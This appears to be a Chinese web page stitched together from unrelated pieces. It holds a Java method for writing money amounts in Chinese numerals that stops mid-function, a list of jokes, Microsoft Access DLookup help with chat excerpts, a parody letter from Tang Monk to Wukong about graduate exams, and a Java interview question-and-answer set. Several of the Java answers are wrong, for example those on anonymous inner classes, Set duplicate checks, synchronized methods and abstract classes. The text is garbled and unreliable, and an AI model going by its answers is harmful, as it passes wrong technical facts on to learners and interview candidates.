private String convertToChineseNumber(String moneyStr) {
String result;
StringBuffer cMoneyStringBuffer = new StringBuffer();
for (int i = 0; i < moneyStr.length(); i++) {
cMoneyStringBuffer.append(chineseNumberMap.get(moneyStr.substring(i, i + 1)));
}
//拾佰仟万亿等都是汉字里面才有的单位,加上它们
int indexOfDot = cMoneyStringBuffer.indexOf(DOT);
int moneyPatternCursor = 1;
for (int i = indexOfDot - 1; i > 0; i--) {
cMoneyStringBuffer.insert(i, chineseMoneyPattern.get(EMPTY + moneyPatternCursor));
moneyPatternCursor = moneyPatternCursor == 8 ? 1 : moneyPatternCursor + 1;
}
String fractionPart = cMoneyStringBuffer.substring(cMoneyStringBuffer.indexOf("."));
cMoneyStringBuffer.delete(cMoneyStringBuffer.indexOf("."), cMoneyStringBuffer.length());
while (cMoneyStringBuffer.indexOf("零拾") != -1) {
cMoneyStringBuffer.replace(cMoneyStringBuffer.indexOf("零拾"), cMoneyStringBuffer.indexOf("零拾") + 2, ZERO);
}
while (cMoneyStringBuffer.indexOf("零佰") != -1) {
cMoneyStringBuffer.replace(cMoneyStringBuffer.indexOf("零佰"), cMoneyStringBuffer.indexOf("零佰") + 2, ZERO);
}
while (cMoneyStringBuffer.indexOf("零仟") != -1) {
cMoneyStringBuffer.replace(cMoneyStringBuffer.indexOf("零仟"), cMoneyStringBuffer.indexOf("零仟") + 2, ZERO);
}
while (cMoneyStringBuffer.indexOf("零万") != -1) {
cMoneyStringBuffer.replace(cMoneyStringBuffer.indexOf("零万"), cMoneyStringBuffer.indexOf("零万") + 2, TEN_THOUSAND);
}
while (cMoneyStringBuffer.indexOf("零亿") != -1) {
cMoneyStringBuffer.replace(cMoneyStringBuffer.indexOf("零亿"), cMoneyStringBuffer.indexOf("零亿") + 2, HUNDRED_MILLION);
}
while (cMoneyStringBuffer.indexOf("零零") != -1) {
cMoneyStringBuffer.replace(cMoneyStringBuffer.indexOf("零零"), cMoneyStringBuffer.indexOf("零零") + 2, ZERO);
}
if (cMoneyStringBuffer.lastIndexOf(ZERO) == cMoneyStringBuffer.length() - 1)
cMoneyStringBuffer.delete(cMoneyStringBuffer.length() - 1, cMoneyStringBuffer.length());
cMoneyStringBuffer.append(fractionPart);
result = cMoneyStringBuffer.toString();
return result;
}
private String addUnitsToChineseMoneyString(String moneyStr) {
String result;
StringBuffer cMoneyStringBuffer = new StringBuffer(moneyStr);
int indexOfDot = cMoneyStringBuffer.indexOf(DOT);
cMoneyStringBuffer.replace(indexOfDot, indexOfDot + 1, YUAN);
1、80后的重要任务就是制造08后
2、事实证明在这个世界上,感情经得起风雨,却经不起平淡;友情经得起平淡,却经不起风雨
3、人生没有彩排,每天都是直播;不仅收视率低,而且工资不高
4、能用钱解决的问题都不是问题,可问题是我是穷人
5、春天到了,小树发芽了,股市也跟着变绿了
6、人家有的是背景儿,而我有的只有背影儿
7、唯女人与英雄难过也,唯老婆与工作难找也
8、不要整天抱怨生活,生活根本就不会知道你是谁,更别说它会听你的抱怨
9、是金子总要发光的,但是当满地都是金子的时候,我自己也不知道自己是哪颗了
10、在此呼吁大家,学会修自己的笔记本……嗯,学会修自己的笔记本是很重要的……从前有个人,他不会修自己的笔记本……后来的事情大家都知道了
11、姐不是广场上算卦的,唠不出那么多你爱听的嗑
12、只知道刚的人,难免会被折断;只有柔的人,到头来终是懦夫
13、找一个像EXCEL一样的男朋友——想隐藏就隐藏,想筛选就筛选,想删除就删除,一个不高兴,嘿,我还就不保存了
14、见到我以后你会突然发现——啊,原来帅也可以这样具体呀!
15、不是故事的结局不够好,而是我们对故事的要求过多
16、钞票不是万能的,有的时候还需要信用卡
17、爱情就像两个拉着橡皮筋的人,受伤的总是不愿意放手的那个
18、鲜花往往不属于赏花的人,而属于牛屎
19、问一同事:"你买了中石油吗?"同事说:"呸!你才买了中石油呢。你们全家都买了中石油,还买了中石化!"
20、信念这玩意不是说出来的的,是做出来的。光荣在于平淡,艰巨在于漫长。
21、中午在食堂叫了两个菜。吃第一个我震撼了"世界上还有比这更难吃的菜吗?"吃第二个我哭了"还真有啊"
22、谎言与誓言的区别在于:一个是听的人当真了,一个是说的人当真了
23、单身并不难,难的是应付那些千方百计想让你结束单身的人
DLookup 函数 DLookup 函数用于从指定记录集(一个域)获取特定字段的值。可以在 Visual Basic、宏、查询表达式、窗体或报表上的计算控件中使用 DLookup 函数。 使用 Dlookup 函数可以显示不在窗体或报表记录源中的字段值。例如,假定有一个基于“订单明细”表的窗体,显示“订单ID”、“产品ID”、“单价”、“数量”和“折扣”字段。而“产品名称”字段位于另一个表 (“产品”表)中。通过在计算控件中使用 Dlookup 函数,可以在同一窗体上显示“产品名称”。
DLookup(expr, domain, [criteria])
DLookup 函数具有下列参数:
参数 说明 expr 一个表达式,用于标识需要返回其值的字段。它既可以是用于标识表或查询中字段的字符串表达式,也可以是以该字段上的数据进行计算的表达式。在 expr 中,可以包括表中字段的名称、窗体上的控件、常量或函数。如果 expr 包含函数,那么它可以是内置的,也可以是用户定义的,但不能是另一个域聚合函数或 SQL 聚合函数。 domain 字符串表达式,代表组成域的记录集。可以是表名称或不需要参数的查询名称。 criteria 可选的字符串表达式,用于限制 DLookup 函数执行的数据范围。例如,criteria 通常等价于 SQL 表达式中的 WHERE 子句,只是不含 WHERE 关键字。如果忽略 criteria,DLookup 函数将在整个域范围内计算 expr。任何包含在 criteria 中的字段必须同时也是 domain 中的字段,否则 Dlookup 函数将返回 Null。
说明 DLookup 函数将基于 criteria 中指定的信息返回单个字段的值。虽然 criteria 是可选参数,但如果不给 criteria 提供值,Dlookup 函数将返回域中的一个随机值。
如果没有记录满足 criteria,或者 domain 中没有记录,DLookup 函数将返回 Null。
如果有多个字段满足 criteria,DLookup 函数将返回第一个匹配字段。所以应该指定条件以确保 DLookup 函数返回的字段值是唯一的。可以在条件中使用主键值,在下例中,使用 [EmployeeID] 来确保 DLookup 函数返回唯一的值:
Dim varX As VariantvarX = DLookup("[LastName]", "Employees", "[EmployeeID] = 1") 无论是在宏、模块、查询表达式中,还是在计算控件中使用 DLookup 函数,都必须仔细地构造 criteria 参数,以确保能够正确地进行计算。
在查询的“条件”行、查询的计算字段表达式中或更新查询的“更新到”行中均可以使用 DLookup 函数来指定条件。
如果需要显示的字段不在窗体或报表所基于的记录源中,也可以在窗体或报表的计算控件表达式中使用 DLookup 函数。例如,假定有一个“Order Details”窗体基于“Order Details”表,并且含有一个显示“ProductID”字段的名为“ProductID”的文本框,要从基于这个文本框值的“Products”表中查阅“ProductName”字段,可以创建另一个文本框,并将它的 ControlSource属性设为如下表达式:
=DLookup("[ProductName]", "Products", "[ProductID] =" _& Forms![Order Details]!ProductID) 提示
虽然可以使用 DLookup 函数显示来自外部表字段中的值,但是通过创建包含两表中所需字段的查询,然后将窗体或报表建立在这个查询的基础上,效率将更高。 也可以使用“查阅向导”来查找外部表中的值。 注释 使用此函数时,不包括对 domain 记录未保存的更改。如果希望 DLookup 函数基于更改后的值,必须先保存更改。方法是:单击“记录”菜单上的“保存记录”命令、将焦点移到另一个记录上,或使用 Update 方法。
示例 下面的示例将从满足 criteria 内容记录的“CompanyName”字段中返回名称信息。域为“Shippers”表。criteria 参数将结果记录集限制为“ShipperID”等于 1 的记录。
Dim varX As VariantvarX = DLookup("[CompanyName]", "Shippers", "[ShipperID] = 1") 下一个示例来自 Shippers 表,它使用窗体控件 ShipperID 来为 DLookup 函数提供条件。请注意,控件的两侧未加上用以表示字符串的引号,这样可以确保每次调用 DLookup 函数时,Microsoft Access 都将从控件中获取当前值。
Dim varX As VariantvarX = DLookup("[CompanyName]", "Shippers", "[ShipperID] = " _& Forms!Shippers!ShipperID) 下一个示例使用变量 intSearch 来获取值。
Dim intSearch As IntegerDim varX As VariantintSearch = 1varX = DLookup("[CompanyName]", "Shippers", _"[ShipperID] = " & intSearch)看书累的,要是看上不怎么样的书就更累了,还是看系统帮助吧!(2007-01-25 14:58:06) 竹笛(56217686)Stemp = DLookup("[用户编号]","系统用户","[用户编号]=''''''''''''''''''''''''''''''''"& Me![用户编号] &"''''''''''''''''''''''''''''''''") 的意思是 找出 系统用户 表中 用户编号字段等于 x 的 用户编号,不也就是x嘛 (2007-01-25 14:58:51) 竹笛(56217686)Stemp = DLookup("[用户名]","系统用户","[用户编号]=''''''''''''''''''''''''''''''''"& Me![用户编号] &"''''''''''''''''''''''''''''''''") 的意思是 找出 系统用户 表中 用户编号字段等于 x 的 用户名 继续学习......
|
悟空:
听说你又要考研了,你总是一会儿一个想法.上次,在王母娘娘的蟠桃宴上,我碰到你的时候,你不是说你不考研吗?还说考研这种恶俗的事情你不会做,弄得在场的几个刚刚考上研的仙童很没面子.看你又变卦了不是?
不过,师父听说你要考感想,还是很高兴的,毕竟又上了一个档次,对你的发展只有好处没有坏处.你也看到了,现在西天这边大家都在考研,你能认清形势,师父替你高兴.
按理说,凭你在取经路上的贡献,应该是能保的,都是你跟上面的关系处不好.当时,上面给我们取经小组一共两个保研名额,我想就按贡献大小给你和八戒.报上去后,上面对你的意见大得很,尤其是东海龙王意见最大,说你当年借了他的定海神针,现在还不还.光这一条我就没有发言权。你说,现在取经结束都已有300年,你还拿那个棒子有什么用?就是有用需要续借,总得打个招呼嘛。你不打招呼,人家怎么知道你要用,给人家打个招呼,人家肯定会让你续借的嘛。。。。。。有借有还,再借不难。
好了,又扯远了。还是说你保研的事,龙王后来上下活动了一下,最后,你的名额就给了白龙马,虽然你没保上有点遗憾,但给白龙马也算是落到我们小组内,况且白龙马没有功劳也有苦劳,给了也就给了。
再说八戒,人家上面关系处理得好,报上去后,基本没怎么讨论就通过了,面试也放得很松。八戒的导师也不错,是文殊菩萨。现在,人间也重视教育,所以,文殊菩萨的香火很旺,经费也自然就多,今年报她那儿的人最多。你什么都好,就是在神际关系上处理不好,八戒这一点就比你强。
你看,同是一个师父带出来的,人家八戒现在都是研究生毕业,开始带研究生(听说今年第一年招生,可能比较好考,你要不就考八戒那里)。而你现在才准备考,唉!
我也给你介绍一下我最近的研究情况吧。这也是我给你写信的主要目的。其实,我就需要你这样的学生,保过来的几个动手能力太差,还不听话,就知道月底向我要工钱。最近,我刚申请了博士点,从明年起就可以带博士,你要是考这里,我给你一个直博的名额,省得你到时候再考博。最近,我主要研究的课题是“佛界是否应该顺应人间宗教市场的崇拜趋势”。你已经很久没来西天,你不知道我这个课题还是很热的,如来很重视,上次开会,如来还问我课题的进展情况。
我不是刚才跟你说了,人间现在重视教育,你看文殊的身价上去了,重视经济,道教的财神爷人气就很旺,所以,现在伄界也对这个问题重视起来。形成了以观音为首的“保守派”和以108罗汉为首的“革新派”之争。“保守派”认为,佛界应该重修行参悟,不要盲从人间崇拜的大流,应该引导众生慈悲向善,不是一味地迎合大众的口味。“革新派”认为,佛界应该讲市场规律,如果人们都不信佛,我们从哪里来供奉,从哪里来香火?所以,如来给我拨了些经费,让我成立一个课题组,对这个问题进行调研。
我是同意“革新派”的(听口气,如来也是向着革新派),时代不同了,佛界也要与时倶进嘛。最近,我也取得了一些研究成果,我认为应该设新四大菩萨——“吉托菩萨”(主管GR置、TOLLF考试)、“亨通菩萨”(司官运)、“济财菩萨”(相当于财神爷)和“高就菩萨”(主管就业)。
我又扯远了,好了,悟空,废话我也不多说了,还是希望你能考我这里。你聪明,又肯动,我这个课题还得多往人间跑,我觉得你合适,你要是愿意的话,过两天来我这里,我给你画画重点,专业课的题是我出的。至于公共课,出题的几个罗汉我都很熟,帮你打听一下“重点”也可以,免得你报什么“冲刺班”,还不是他们几个在那里讲?好了,废话我不多说了,你好好考虑一下吧。
祝你考研成功!
第一,谈谈final, finally, finalize的区别。
第二,Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类,是否可以implements(实现)interface(接口)?
第三,Static Nested Class 和 Inner Class的不同,说得越多越好(面试题有的很笼统)。
第四,&和&&的区别。
第五,HashMap和Hashtable的区别。
第六,Collection 和 Collections的区别。
第七,什么时候用assert。
第八,GC是什么? 为什么要有GC?
第九,String s = new String("xyz");创建了几个String Object?
第十,Math.round(11.5)等於多少? Math.round(-11.5)等於多少?
第十一,short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错?
第十二,sleep() 和 wait() 有什么区别?
第十三,Java有没有goto?
第十四,数组有没有length()这个方法? String有没有length()这个方法?
第十五,Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型?
第十六,Set里的元素是不能重复的,那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别?
第十七,给我一个你最常见到的runtime exception。
第十八,error和exception有什么区别?
第十九,List, Set, Map是否继承自Collection接口?
第二十,abstract class和interface有什么区别?
第二十一,abstract的method是否可同时是static,是否可同时是native,是否可同时是synchronized?
第二十二,接口是否可继承接口? 抽象类是否可实现(implements)接口? 抽象类是否可继承实体类(concrete class)?
第二十三,启动一个线程是用run()还是start()?
第二十四,构造器Constructor是否可被override?
第二十五,是否可以继承String类?
第二十六,当一个线程进入一个对象的一个synchronized方法后,其它线程是否可进入此对象的其它方法?
第二十七,try {}里有一个return语句,那么紧跟在这个try后的finally {}里的code会不会被执行,什么时候被执行,在return前还是后?
第二十八,编程题: 用最有效率的方法算出2乘以8等於几?
第二十九,两个对象值相同(x.equals(y) == true),但却可有不同的hash code,这句话对不对?
第三十,当一个对象被当作参数传递到一个方法后,此方法可改变这个对象的属性,并可返回变化后的结果,那么这里到底是值传递还是引用传递?
第三十一,swtich是否能作用在byte上,是否能作用在long上,是否能作用在String上?
第三十二,编程题: 写一个Singleton出来。
以下是答案
第一,谈谈final, finally, finalize的区别。
final—修饰符(关键字)如果一个类被声明为final,意味着它不能再派生出新的子类,不能作为父类被继承。因此一个类不能既被声明为 abstract的,又被声明为final的。将变量或方法声明为final,可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值,而在以后的引用中只能读取,不可修改。被声明为final的方法也同样只能使用,不能重载
finally—再异常处理时提供 finally 块来执行任何清除操作。如果抛出一个异常,那么相匹配的 catch 子句就会执行,然后控制就会进入 finally 块(如果有的话)。
finalize—方法名。Java 技术允许使用 finalize() 方法在垃圾收集器将对象从内存中清除出去之前做必要的清理工作。这个方法是由垃圾收集器在确定这个对象没有被引用时对这个对象调用的。它是在 Object 类中定义的,因此所有的类都继承了它。子类覆盖 finalize() 方法以整理系统资源或者执行其他清理工作。finalize() 方法是在垃圾收集器删除对象之前对这个对象调用的。
第二,Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类,是否可以implements(实现)interface(接口)?
匿名的内部类是没有名字的内部类。不能extends(继承) 其它类,但一个内部类可以作为一个接口,由另一个内部类实现。
第三,Static Nested Class 和 Inner Class的不同,说得越多越好(面试题有的很笼统)。
Nested Class (一般是C++的说法),Inner Class (一般是JAVA的说法)。Java内部类与C++嵌套类最大的不同就在于是否有指向外部的引用上。具体可见http: //www.frontfree.net/articles/services/view.asp?id=704&page=1
注: 静态内部类(Inner Class)意味着1创建一个static内部类的对象,不需要一个外部类对象,2不能从一个static内部类的一个对象访问一个外部类对象
第四,&和&&的区别。
&是位运算符。&&是布尔逻辑运算符。
第五,HashMap和Hashtable的区别。
都属于Map接口的类,实现了将惟一键映射到特定的值上。
HashMap 类没有分类或者排序。它允许一个 null 键和多个 null 值。
Hashtable 类似于 HashMap,但是不允许 null 键和 null 值。它也比 HashMap 慢,因为它是同步的。
第六,Collection 和 Collections的区别。
Collections是个java.util下的类,它包含有各种有关集合操作的静态方法。
Collection是个java.util下的接口,它是各种集合结构的父接口。
第七,什么时候用assert。
断言是一个包含布尔表达式的语句,在执行这个语句时假定该表达式为 true。如果表达式计算为 false,那么系统会报告一个 AssertionError。它用于调试目的:
assert(a > 0); // throws an AssertionError if a <= 0
断言可以有两种形式:
assert Expression1 ;
assert Expression1 : Expression2 ;
Expression1 应该总是产生一个布尔值。
Expression2 可以是得出一个值的任意表达式。这个值用于生成显示更多调试信息的 String 消息。
断言在默认情况下是禁用的。要在编译时启用断言,需要使用 source 1.4 标记:
javac -source 1.4 Test.java
要在运行时启用断言,可使用 -enableassertions 或者 -ea 标记。
要在运行时选择禁用断言,可使用 -da 或者 -disableassertions 标记。
要系统类中启用断言,可使用 -esa 或者 -dsa 标记。还可以在包的基础上启用或者禁用断言。
可以在预计正常情况下不会到达的任何位置上放置断言。断言可以用于验证传递给私有方法的参数。不过,断言不应该用于验证传递给公有方法的参数,因为不管是否启用了断言,公有方法都必须检查其参数。不过,既可以在公有方法中,也可以在非公有方法中利用断言测试后置条件。另外,断言不应该以任何方式改变程序的状态。
第八,GC是什么? 为什么要有GC? (基础)。
GC是垃圾收集器。Java 程序员不用担心内存管理,因为垃圾收集器会自动进行管理。要请求垃圾收集,可以调用下面的方法之一:
System.gc()
Runtime.getRuntime().gc()
第九,String s = new String("xyz");创建了几个String Object?
两个对象,一个是“xyx”,一个是指向“xyx”的引用对象s。
第十,Math.round(11.5)等於多少? Math.round(-11.5)等於多少?
Math.round(11.5)返回(long)12,Math.round(-11.5)返回(long)-11;
第十一,short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错?
short s1 = 1; s1 = s1 + 1;有错,s1是short型,s1+1是int型,不能显式转化为short型。可修改为s1 =(short)(s1 + 1) 。short s1 = 1; s1 += 1正确。
第十二,sleep() 和 wait() 有什么区别? 搞线程的最爱
sleep()方法是使线程停止一段时间的方法。在sleep 时间间隔期满后,线程不一定立即恢复执行。这是因为在那个时刻,其它线程可能正在运行而且没有被调度为放弃执行,除非(a)“醒来”的线程具有更高的优先级
(b)正在运行的线程因为其它原因而阻塞。
wait()是线程交互时,如果线程对一个同步对象x 发出一个wait()调用,该线程会暂停执行,被调对象进入等待状态,直到被唤醒或等待时间到。
第十三,Java有没有goto?
Goto—java中的保留字,现在没有在java中使用。
第十四,数组有没有length()这个方法? String有没有length()这个方法?
数组没有length()这个方法,有length的属性。
String有有length()这个方法。
第十五,Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型?
方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现,重载Overloading是一个类中多态性的一种表现。如果在子类中定义某方法与其父类有相同的名称和参数,我们说该方法被重写 (Overriding)。子类的对象使用这个方法时,将调用子类中的定义,对它而言,父类中的定义如同被“屏蔽”了。如果在一个类中定义了多个同名的方法,它们或有不同的参数个数或有不同的参数类型,则称为方法的重载(Overloading)。Overloaded的方法是可以改变返回值的类型。
第十六,Set里的元素是不能重复的,那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别?
Set里的元素是不能重复的,那么用iterator()方法来区分重复与否。equals()是判读两个Set是否相等。
equals()和==方法决定引用值是否指向同一对象equals()在类中被覆盖,为的是当两个分离的对象的内容和类型相配的话,返回真值。
第十七,给我一个你最常见到的runtime exception。
ArithmeticException, ArrayStoreException, BufferOverflowException, BufferUnderflowException, CannotRedoException, CannotUndoException, ClassCastException, CMMException, ConcurrentModificationException, DOMException, EmptyStackException, IllegalArgumentException, IllegalMonitorStateException, IllegalPathStateException, IllegalStateException,
ImagingOpException, IndexOutOfBoundsException, MissingResourceException, NegativeArraySizeException, NoSuchElementException, NullPointerException, ProfileDataException, ProviderException, RasterFormatException, SecurityException, SystemException, UndeclaredThrowableException, UnmodifiableSetException, UnsupportedOperationException
第十八,error和exception有什么区别?
error 表示恢复不是不可能但很困难的情况下的一种严重问题。比如说内存溢出。不可能指望程序能处理这样的情况。
exception 表示一种设计或实现问题。也就是说,它表示如果程序运行正常,从不会发生的情况。
第十九,List, Set, Map是否继承自Collection接口?
List,Set是
Map不是
第二十,abstract class和interface有什么区别?
声明方法的存在而不去实现它的类被叫做抽象类(abstract class),它用于要创建一个体现某些基本行为的类,并为该类声明方法,但不能在该类中实现该类的情况。不能创建abstract 类的实例。然而可以创建一个变量,其类型是一个抽象类,并让它指向具体子类的一个实例。不能有抽象构造函数或抽象静态方法。Abstract 类的子类为它们父类中的所有抽象方法提供实现,否则它们也是抽象类为。取而代之,在子类中实现该方法。知道其行为的其它类可以在类中实现这些方法。
接口(interface)是抽象类的变体。在接口中,所有方法都是抽象的。多继承性可通过实现这样的接口而获得。接口中的所有方法都是抽象的,没有一个有程序体。接口只可以定义static final成员变量。接口的实现与子类相似,除了该实现类不能从接口定义中继承行为。当类实现特殊接口时,它定义(即将程序体给予)所有这种接口的方法。然后,它可以在实现了该接口的类的任何对象上调用接口的方法。由于有抽象类,它允许使用接口名作为引用变量的类型。通常的动态联编将生效。引用可以转换到接口类型或从接口类型转换,instanceof 运算符可以用来决定某对象的类是否实现了接口。
第二十一,abstract的method是否可同时是static,是否可同时是native,是否可同时是synchronized?
都不能
第二十二,接口是否可继承接口? 抽象类是否可实现(implements)接口? 抽象类是否可继承实体类(concrete class)?
接口可以继承接口。抽象类可以实现(implements)接口,抽象类是否可继承实体类,但前提是实体类必须有明确的构造函数。
第二十三,启动一个线程是用run()还是start()?
启动一个线程是调用start()方法,使线程所代表的虚拟处理机处于可运行状态,这意味着它可以由JVM调度并执行。这并不意味着线程就会立即运行。run()方法可以产生必须退出的标志来停止一个线程。
第二十四,构造器Constructor是否可被override?
构造器Constructor不能被继承,因此不能重写Overriding,但可以被重载Overloading。
第二十五,是否可以继承String类?
String类是final类故不可以继承。
第二十六,当一个线程进入一个对象的一个synchronized方法后,其它线程是否可进入此对象的其它方法?
不能,一个对象的一个synchronized方法只能由一个线程访问。
第二十七,try {}里有一个return语句,那么紧跟在这个try后的finally {}里的code会不会被执行,什么时候被执行,在return前还是后?
会执行,在return前执行。
第二十八,编程题: 用最有效率的方法算出2乘以8等於几?
有C背景的程序员特别喜欢问这种问题。
2 << 3
第二十九,两个对象值相同(x.equals(y) == true),但却可有不同的hash code,这句话对不对?
不对,有相同的hash code。
第三十,当一个对象被当作参数传递到一个方法后,此方法可改变这个对象的属性,并可返回变化后的结果,那么这里到底是值传递还是引用传递?
是值传递。Java 编程语言只由值传递参数。当一个对象实例作为一个参数被传递到方法中时,参数的值就是对该对象的引用。对象的内容可以在被调用的方法中改变,但对象的引用是永远不会改变的。
第三十一,swtich是否能作用在byte上,是否能作用在long上,是否能作用在String上?
switch(expr1)中,expr1是一个整数表达式。因此传递给 switch 和 case 语句的参数应该是 int、 short、 char 或者 byte。long,string 都不能作用于swtich。
第三十二,编程题: 写一个Singleton出来。
Singleton模式主要作用是保证在Java应用程序中,一个类Class只有一个实例存在。
一般Singleton模式通常有几种种形式:
第一种形式: 定义一个类,它的构造函数为private的,它有一个static的private的该类变量,在类初始化时实例话,通过一个public的getInstance方法获取对它的引用,继而调用其中的方法。
public class Singleton {
private Singleton(){}
//在自己内部定义自己一个实例,是不是很奇怪?
//注意这是private 只供内部调用
private static Singleton instance = new Singleton();
//这里提供了一个供外部访问本class的静态方法,可以直接访问
public static Singleton getInstance() {
return instance;
}
}
第二种形式:
public class Singleton {
private static Singleton instance = null;
public static synchronized Singleton getInstance() {
//这个方法比上面有所改进,不用每次都进行生成对象,只是第一次
//使用时生成实例,提高了效率!
if (instance==null)
instance=new Singleton();
return instance; }
}
其他形式:
定义一个类,它的构造函数为private的,所有方法为static的。
一般认为第一种形式要更加安全些
第三十三 Hashtable和HashMap
Hashtable继承自Dictionary类,而HashMap是Java1.2引进的Map interface的一个实现
HashMap允许将null作为一个entry的key或者value,而Hashtable不允许
还有就是,HashMap把Hashtable的contains方法去掉了,改成containsvalue和containsKey。因为contains方法容易让人引起误解。
最大的不同是,Hashtable的方法是Synchronize的,而HashMap不是,在
多个线程访问Hashtable时,不需要自己为它的方法实现同步,而HashMap
就必须为之提供外同步。
Hashtable和HashMap采用的hash/rehash算法都大概一样,所以性能不会有很大的差异。